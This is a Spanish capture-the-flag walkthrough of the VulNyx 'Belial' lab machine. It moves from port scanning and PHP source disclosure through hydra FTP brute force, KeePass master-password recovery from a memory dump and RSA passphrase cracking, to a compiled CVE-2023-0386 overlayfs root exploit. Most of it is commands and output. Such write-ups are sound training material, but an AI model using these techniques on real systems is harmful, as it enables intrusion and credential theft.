VulNyx - Belial
- PHP Development Server <= 7.4.21 - Remote Source Disclosure
- Brute Force FTP
- Brute Force Keepass Master Key
- Brute Force RSA Key
- Decode JWT Token
- Overlayfs CVE-2023-0386
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.11
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2121/tcp open ccproxy-ftp
8090/tcp open opsmessaging
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,2121,8090 192.168.1.11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 500a5d78090d1013853eba764b6d67c3 (ECDSA)
|_ 256 eea24509b883744a7d19f17628e4700f (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
2121/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxr-x 2 1001 1001 4096 Jul 14 14:34 resources
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.18
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
8090/tcp open http PHP cli server 5.5 or later (PHP 7.4.21)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 80 - TCP
Me conecto al servidor FTP y me descargo el users.list
.
ftp> ls -la
229 Entering Extended Passive Mode (|||22624|)
150 Here comes the directory listing.
drwxr-xr-x 3 1001 1001 4096 Jul 14 14:29 .
drwxr-xr-x 3 1001 1001 4096 Jul 14 14:29 ..
drwxrwxr-x 2 1001 1001 4096 Jul 14 14:34 resources
226 Directory send OK.
ftp> cd resources
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||56758|)
150 Here comes the directory listing.
drwxrwxr-x 2 1001 1001 4096 Jul 14 14:34 .
drwxr-xr-x 3 1001 1001 4096 Jul 14 14:29 ..
-rw-r--r-- 1 1001 1001 18 Jul 14 14:32 users.list
226 Directory send OK.
ftp> get users.list
El archivo users.list
contiene dos usuarios.
❯ /usr/bin/cat users.list
anonymous
kohanic
Realizo fuerza bruta de extensiones php al puerto 8090.
❯ wfuzz -c --hl=6 -t 200 -u "http://192.168.1.11:8090/FUZZ.FUZ2Z" -w /usr/share/seclists/Discovery/Web-Content/common.txt -z list,php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.11:8090/FUZZ.FUZ2Z
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002213: 200 732 L 3983 W 66829 Ch "info - php"
000002190: 200 15 L 26 W 329 Ch "index - php"
000004359: 200 0 L 29 W 146 Ch "validation - php"
000003665: 200 9 L 35 W 232 Ch "secret - php"
Puerto 8090 - TCP
Archivo info.php es un phpinfo.
Archivo index.php es un formulario de login que no funciona, rabbit hole
.
Archivo Validation.php me muestra un error de syntaxis de SQL, es el encargado de mostrarme el error al intentar acceder mediante el formulario de login anterior.
El archivo secret.php
me muestra el siguiente mensaje y un posible usuario Gelal.
Buscando información sobre php 7.4.21
he encontrado este blog en inglés, pero si queréis una explicación en español y bien detallada os recomiendo visitar el blog de nuestro compañero UnD3sc0n0c1d0.
Es importante desactivar
Update Content-Legth
del repeater para que funcione todo correctamente.
Aplico los pasos que he leído en el blog al archivo index.php
, en la respuesta puedo leer el contenido del mismo.
En el archivo info.php
no hay nada interesante.
En el archivo secret.php
veo una sentencia if else
.
En el código fuente hay una pista.
Con curl y el parámetro encontrado puedo leer el contenido de /root/secret.txt
.
Creo un diccionario con el texto encontrado y realizo fuerza bruta al usuario kohanic del servidor FTP.
❯ hydra -l kohanic -P belial.txt ftp://192.168.1.11 -s 2121 -V -f -I
[2121][ftp] host: 192.168.1.11 login: kohanic password: w**********r
Me conecto al servidor FTP como usuario kohanic.
❯ ftp 192.168.1.11 -p 2121
ftp> ls -la
229 Entering Extended Passive Mode (|||61256|)
150 Here comes the directory listing.
drwxr-x--- 6 1001 1001 4096 Jul 19 07:35 .
drwxr-xr-x 4 0 0 4096 Jul 14 12:11 ..
lrwxrwxrwx 1 1001 1001 9 Jul 17 15:11 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Oct 07 2022 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Oct 07 2022 .bashrc
drwx------ 2 1001 1001 4096 Jul 14 15:29 .cache
drwxrwxr-x 3 1001 1001 4096 Jul 14 21:41 .local
-rw-r--r-- 1 1001 1001 807 Oct 07 2022 .profile
drwx------ 2 1001 1001 4096 Jul 17 14:17 .ssh
-rw-rw-r-- 1 1001 1001 215 Jul 18 08:15 .wget-hsts
drwxrwxr-x 2 1001 1001 4096 Jul 17 14:19 DB
226 Directory send OK.
Me descargo los archivos de la carpeta DB.
ftp> cd DB
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||37358|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1001 1001 4110 Jul 17 14:14 Database.kdbx
-rw-rw-r-- 1 1001 1001 304893561 Jul 17 13:53 KeePass.DMP
226 Directory send OK.
Luego me descargo la llave rsa.
ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||61905|)
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 568 Jul 17 14:10 authorized_keys
-rw------- 1 1001 1001 2655 Jul 17 14:10 id_rsa
Con la herramienta KeePwn obtengo la keepass master key para abrir el fichero Database.kdbx
.
┌──(keepwn)(noname㉿dragon)-[~/virtual/keepwn/KeePwn]
└─$ python3 KeePwn.py parse_dump --dump_file KeePass.DMP --bruteforce Database.kdbx
KeePwn v0.3 - by Julien BEDEL (@d3lb3_)
[*] Searching for the master password in memory dump.. done!
[*] Found 11 candidates:
_uP3r-S#cR3+213!
_CP3r-S#cR3+213!
_AP3r-S#cR3+213!
_)P3r-S#cR3+213!
_HP3r-S#cR3+213!
_oP3r-S#cR3+213!
_ P3r-S#cR3+213!
_,P3r-S#cR3+213!
_LP3r-S#cR3+213!
_7P3r-S#cR3+213!
_%P3r-S#cR3+213!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password SuP3r-S********!
Lanzo KeePassXC y cargo el archivo Databse.kdbx
para leer el contenido.
Una vez pongo la contraseña obtengo el passpharse de la llave rsa que encontré en el servidor FTP.
Me conecto al sistema usando la llave rsa y el passphrase.
❯ ssh -i id_rsa kohanic@192.168.1.11
Enter passphrase for key 'id_rsa':
kohanic@belial:~$
Enumerando permisos de sudo.
kohanic@belial:~$ sudo -l
Matching Defaults entries for kohanic on belial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User kohanic may run the following commands on belial:
(root) NOPASSWD: /usr/bin/tcpdump
Enumero los puertos internos y veo el puerto 65533 abierto.
kohanic@belial:~$ ss -ltun
Netid State Recv-Q Send-Q Local
tcp LISTEN 0 4096 127.0.0.1:65533
En procesos del sistema y grepeando por el usuario gelal veo que gelal lanza el script start.sh
cada 5 segundos.
kohanic@belial:~$ ps aux | grep gelal
gelal 719 0.0 0.0 2736 964 ? Ss 14:03 0:00 /bin/sh -c cd /home/gelal/c2/; php -S 127.0.0.1:65533
gelal 721 0.0 0.0 2736 956 ? Ss 14:03 0:00 /bin/sh -c bash /home/gelal/c2/start.sh
gelal 733 0.0 0.4 200432 19036 ? S 14:03 0:00 php -S 127.0.0.1:65533
gelal 734 0.0 0.0 7356 3680 ? S 14:03 0:00 bash /home/gelal/c2/start.sh
gelal 1756 0.0 0.0 5616 1008 ? S 14:25 0:00 sleep 5
Con curl mando una petición al archivo start.sh
para leer el contenido.
❯ curl -s -X POST localhost:65533/start.sh
#!/bin/bash
data=$(echo $(cat /home/gelal/.ssh/id_rsa | od -t u1 | awk '{$1=""}1'))
while [ true ]
do curl -si -X POST http://127.0.0.1:65533/fd98ca2e839e212 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Brave/74" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2wiOiJzdXBlcmFkbWluIiwibmFtZSI6ImdlbGFsIiwicGFzc3dvcmQiOiJQJHNzdzByZCEzMjEifQ.nujWki5QiuGCqjur_VfBCtvmKk_XGhW7FPrx_dZzOYI" -d "$data"
sleep 5
done
Con pspy64 veo que tipo de data manda curl con la flag -d
.
Para identificar el tipo de codificación es visito decodefr.
Le doy clic a ASCII Code y veo que es un trozo de una llave rsa.
Anteriormente enumerando permisos de sudo encontré el binario tcpdump el cual usaré para capturar los datos enviados con curl.
kohanic@belial:~$ sudo tcpdump -i lo -v -w /tmp/gelal.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C50 packets captured
100 packets received by filter
0 packets dropped by kernel
Me descargo el archivo gelal.pcap
a mi equipo, lo abro con wireshark y le doy a follow HTTP.
Exporto objetos HTTP y se guardará la data en un fichero con el nombre fd98ca2e839e212.
Copio la data de fd98ca2e839e212 en decodefr y obtengo la llave rsa completa.
Si intento conectarme me pide un passphrase.
❯ ssh -i id_rsa_g gelal@192.168.1.11
Enter passphrase for key 'id_rsa_g':
gelal@192.168.1.11: Permission denied (publickey).
Con la herramienta RSAcrack encuentro el passphrase.
Me conecto al sistema como gelal.
❯ ssh -i id_rsa_g gelal@192.168.1.11
Enter passphrase for key 'id_rsa_g':
gelal@belial:~$ id
uid=1002(gelal) gid=1002(gelal) groups=1002(gelal)
Con cat leo el contenido de .viminfo
.
gelal@belial:~$ cat .viminfo
# This viminfo file was generated by Vim 9.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:q
|2,0,1689597929,,"q"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
# File marks:
'0 1 0 ~/.cache/2/0/2/3/_/0/3/8/6/twj.zip
|4,48,1,0,1689597929,"~/.cache/2/0/2/3/_/0/3/8/6/twj.zip"
# Jumplist (newest first):
-' 1 0 ~/.cache/2/0/2/3/_/0/3/8/6/twj.zip
|4,39,1,0,1689597929,"~/.cache/2/0/2/3/_/0/3/8/6/twj.zip"
Me voy a .cache/2/0/2/3/_/0/3/8/6
y encuentro el archivo.zip.
gelal@belial:~/.cache/2/0/2/3/_/0/3/8/6$ ls
twj.zip
Me descargo twj.zip
a mi máquina y lo descomprimo.
❯ unzip twj.zip
Archive: twj.zip
[twj.zip] Urgent.msg password:
inflating: Urgent.msg
Obtengo la contraseña usando la web JWT.
El token está en el archivo
start.sh
.
Con file veo que Urgent.msg
es un archivo pdf.
❯ file Urgent.msg
Urgent.msg: PDF document, version 1.6, 1 pages
Abro el pdf y me muestra el siguiente mensaje.
Para obtener el root me descargo este exploit. En los comentarios pone los pasos para compilarlo correctamente.
// - attacker
// apt install libfuse-dev
// gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
Como tengo la dependencia instalada lo puedo compilar en la máquina víctima.
gelal@belial:/tmp$ find / -name libfuse-dev 2>/dev/null
/usr/share/doc/libfuse-dev
Lo compilo y le doy permisos de ejecución con chmod.
gelal@belial:/tmp$ gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/12/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gelal@belial:/tmp$ chmod +x poc
gelal@belial:/tmp$ ls -la
total 1448
drwxrwxrwt 11 root root 4096 Aug 7 17:55 .
drwxr-xr-x 18 root root 4096 Jul 19 11:29 ..
-rwxrwxr-x 1 gelal gelal 1328552 Aug 7 17:55 poc
gelal@belial:/tmp$ chmod +x poc
gelal@belial:/tmp$
Finalmente lanzo el exploit y obtengo el root.
gelal@belial:/tmp$ ./poc
Waiting 1 sec...
unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=/tmp/ovlcap/lower,upperdir=/tmp/ovlcap/upper,workdir=/tmp/ovlcap/work /tmp/ovlcap/merge && ls -la /tmp/ovlcap/merge && touch /tmp/ovlcap/merge/file'
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 Aug 7 17:57 .
drwxrwxr-x 6 root root 4096 Aug 7 17:57 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] open_callback
/file
[+] read_callback
cnt : 0
clen : 0
path : /file
size : 0x4000
offset: 0x0
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
/tmp/ovlcap/upper/file
root@belial:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1002(gelal)
Y con esto ya tenemos resuelta la máquina Belial.
Gracias a Powerful, d4t4s3c y UnD3sc0n0c1d0 por la ayuda 👍
Saludos!